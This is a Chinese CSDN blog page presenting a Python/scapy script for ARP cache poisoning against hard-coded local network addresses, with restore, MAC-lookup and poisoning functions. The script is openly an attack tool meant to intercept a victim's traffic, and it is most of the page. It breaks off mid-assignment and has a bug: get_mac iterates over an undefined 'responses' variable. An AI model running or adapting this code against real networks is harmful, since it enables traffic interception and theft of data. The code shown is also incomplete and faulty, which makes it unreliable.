python黑帽子:利用scapy进行arp缓存投毒

本文探讨了如何使用Python的Scapy库进行ARP缓存中毒攻击。通过理解ARP协议的工作原理,学习如何利用Scapy发送欺骗ARP包,控制网络流量并解释可能的安全风险。
摘要由CSDN通过智能技术生成

from scapy.all import *
import os
import sys
import threading
import  signal

#interface = 'en1'
target_ip = '192.168.43.141'
gateway_ip = '192.168.43.1'
packet_count = 1000

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
	print("[*] restoring target......")
	send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
	send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
	
	os.kill(os.getpid(),signal.SIGINT)

def get_mac(ip_address):
	srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address),timeout=2,retry=10)
	for s,r in responses:
		return(r[Ether].src)
	return None

def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
	poison_target = ARP()
	poison_target.op = 2
	poison_target.psrc = 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值